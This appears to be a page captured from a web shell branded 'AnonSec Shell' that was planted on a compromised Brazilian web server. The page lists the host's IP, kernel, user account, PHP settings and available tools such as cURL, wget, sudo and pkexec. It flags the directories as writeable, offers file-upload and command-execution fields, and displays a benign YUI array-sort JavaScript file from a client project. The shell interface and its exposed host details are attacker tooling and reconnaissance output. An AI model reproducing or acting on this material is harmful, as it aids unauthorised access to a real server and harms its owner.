AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/build/aui-arraysort/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/build/aui-arraysort/aui-arraysort.js
YUI.add('aui-arraysort', function (A, NAME) {

/**
 * The A.ArraySort Utility - A set of utility methods to the ArraySort.
 *
 * @module aui-arraysort
 */

var ASort = A.ArraySort;

/**
 * Augment the [YUI3 ArraySort](ArraySort.html) with more util methods.
 *
 * @class A.ArraySort
 * @uses ArraySort
 * @constructor
 */
A.mix(
    ASort, {
        /**
         * Compare two arrays ignoring white spaces.
         *
         * @method compareIgnoreWhiteSpace
         * @param a
         * @param b
         * @param desc
         * @param compareFn
         * @return sort
         */
        compareIgnoreWhiteSpace: function(a, b, desc, compareFn) {
            var sort;

            compareFn = compareFn || ASort.compare;

            if ((a === '') && (b === '')) {
                sort = 0;
            }
            else if (a === '') {
                sort = 1;
            }
            else if (b === '') {
                sort = -1;
            }
            else {
                sort = compareFn.apply(this, arguments);
            }

            return sort;
        },

        /**
         * Sorts an object array keeping the order of equal items. ECMA script
         * standard does not specify the behaviour when the compare function
         * returns the value 0;
         *
         * @method stableSort
         * @param array
         * @param compareFn
         */
        stableSort: function(array, compareFn) {
            var i, len = array.length;

            for (i = 0; i < len; i++) {
                array[i] = {
                    index: i,
                    value: array[i]
                };
            }

            array.sort(
                function(a, b) {
                    var result = compareFn.call(array, a.value, b.value);

                    return (result === 0) ? (a.index - b.index) : result;
                }
            );

            for (i = 0; i < len; i++) {
                array[i] = array[i].value;
            }
        }
    }
);


}, '3.0.1', {"requires": ["arraysort"]});

Anon7 - 2022
AnonSec Team